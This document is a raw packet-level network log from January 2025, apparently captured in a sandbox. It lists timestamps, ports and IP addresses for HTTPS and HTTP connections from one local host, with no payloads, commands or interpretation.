Jan 11, 2025 07:54:49.353049040 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.353049040 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.353070021 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.353116989 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.353142023 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.353157043 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.353300095 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.394207001 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.406537056 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.424690962 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:49.424729109 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:49.424985886 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:49.437690973 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:49.437721014 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:49.437947989 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.437997103 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.438189983 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.438251972 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.438270092 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.805181026 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.805622101 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.805641890 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.806293964 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.806813955 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.806920052 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.806931019 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.806943893 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:49.859504938 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:49.942409039 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.942503929 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:49.942708969 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.942912102 CET	50590	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:49.942929983 CET	443	50590	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:50.071080923 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:50.071171999 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:50.071408987 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:50.071719885 CET	60513	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:50.071734905 CET	443	60513	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:51.927179098 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:51.927220106 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:51.927516937 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:51.927817106 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:51.927844048 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.358490944 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.358959913 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.358984947 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.359692097 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.360191107 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360328913 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.360358000 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360358000 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360399961 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360400915 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.360474110 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360477924 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.360639095 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.360661030 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.401818037 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.448849916 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.448883057 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.449213028 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.449259043 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.449269056 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.478599072 CET	56799	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:52.639168024 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.639246941 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.639409065 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.639616966 CET	63674	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.639642954 CET	443	63674	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.859364986 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.859769106 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.859786034 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.860300064 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.860820055 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.860927105 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.860939980 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.860991955 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.861015081 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.861041069 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:52.861051083 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:52.901407957 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:53.124425888 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:53.124527931 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:53.124667883 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:53.124952078 CET	57085	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:53.124969006 CET	443	57085	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:53.316786051 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:53.316855907 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:53.317028046 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:53.322468996 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:53.322531939 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:53.322659016 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:54.880419016 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:54.880428076 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:54.880469084 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:54.880472898 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:54.880609035 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:54.880666018 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:54.880960941 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:54.881128073 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:54.881156921 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.330302000 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.330761909 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.330791950 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.331675053 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.332145929 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.332217932 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.332237005 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.332269907 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.332317114 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.332427025 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.386837959 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.652966022 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.653068066 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:55.653279066 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.653523922 CET	60866	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:55.653558016 CET	443	60866	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:56.781153917 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:56.781286955 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:56.781311035 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:56.899696112 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:57.867054939 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:57.867106915 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:57.867291927 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:57.867547989 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:57.867580891 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.269721985 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.270015001 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.270020962 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.270335913 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.270749092 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.270797014 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.270908117 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.270908117 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.270940065 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.270941019 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.270982027 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.271047115 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.271199942 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.271219015 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.325005054 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.529269934 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.529373884 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:58.529548883 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.529947996 CET	52823	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:58.529969931 CET	443	52823	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:00.484266996 CET	56799	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:00.885801077 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:00.885857105 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:00.886059046 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:00.886257887 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:00.886291027 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.326292992 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.326706886 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.326719046 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.327063084 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.327440023 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.327505112 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.327594995 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.327594995 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.327615976 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.327616930 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.327666044 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.327682972 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.380894899 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.605493069 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.605535984 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:01.605751991 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.605983019 CET	55829	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:01.605999947 CET	443	55829	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:03.880522966 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:03.880589962 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:03.880821943 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:03.881036997 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:03.881077051 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.297615051 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.297987938 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.298026085 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.299107075 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.299566031 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.299745083 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.299745083 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.299782038 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.299813986 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.299851894 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.350117922 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.352746964 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.352803946 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.353079081 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.353358984 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.353395939 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.567142010 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.567275047 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.567486048 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.567780972 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.567780972 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.567825079 CET	443	52559	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:04.567998886 CET	52559	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:04.725522041 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.725864887 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.725904942 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.727327108 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.727878094 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.728070021 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.728087902 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.728169918 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.770845890 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.989690065 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.989785910 CET	443	62750	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:04.990385056 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.990385056 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:04.990541935 CET	62750	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:06.612457991 CET	57161	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:06.880956888 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:06.880975008 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:06.881169081 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:06.881407022 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:06.881412983 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:06.906272888 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:07.017334938 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:07.017570019 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:07.024640083 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:07.286031961 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.286531925 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.286583900 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.287888050 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.288364887 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.288481951 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.288481951 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.288511038 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.288546085 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.288625002 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.331089020 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.401992083 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.402057886 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.402482033 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.402698040 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.402733088 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.560976028 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.561101913 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.561243057 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.561574936 CET	58342	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.561634064 CET	443	58342	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.626306057 CET	57161	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:07.809598923 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.809993982 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.810024977 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.811116934 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.811561108 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.811691999 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.811738014 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.811754942 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:07.811850071 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:07.857690096 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:08.149116039 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:08.149239063 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:08.149470091 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:08.149780989 CET	50206	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:08.149818897 CET	443	50206	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:09.630018950 CET	49750	443	192.168.11.20	40.126.29.7
Jan 11, 2025 07:55:09.630019903 CET	57161	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:09.782802105 CET	443	49750	40.126.29.7	192.168.11.20
Jan 11, 2025 07:55:09.783500910 CET	49750	443	192.168.11.20	40.126.29.7
Jan 11, 2025 07:55:09.890070915 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:09.890134096 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:09.890599966 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:09.890789986 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:09.890826941 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.301258087 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.301695108 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.301722050 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.302536964 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.303041935 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.303169966 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.303169966 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.303195953 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.303220034 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.303263903 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.303294897 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:10.303342104 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:10.347074986 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:11.115479946 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:11.115597963 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:11.115813017 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:11.116034985 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:11.116034985 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:11.116046906 CET	443	57238	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:11.116214991 CET	57238	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:12.885643005 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:12.885690928 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:12.885893106 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:12.886077881 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:12.886096954 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.323575974 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.323925018 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.323931932 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.324253082 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.324691057 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.324749947 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.324831009 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.324882030 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.324896097 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.324929953 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.324944973 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.378043890 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.604770899 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.604814053 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.605038881 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.605298996 CET	61614	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:13.605308056 CET	443	61614	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:13.651245117 CET	57161	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:15.504367113 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:15.504398108 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:15.891618967 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:15.891659021 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:15.891797066 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:15.891979933 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:15.892003059 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.330804110 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.331263065 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.331299067 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.332304001 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.332809925 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.332950115 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.332950115 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.332983971 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.333013058 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.333018064 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.333091021 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.333097935 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.374233007 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.380052090 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.614804029 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.614933014 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.615108967 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.615267992 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.615267992 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:16.615309000 CET	443	62880	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:16.615560055 CET	62880	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:17.034305096 CET	49767	80	192.168.11.20	160.202.165.71
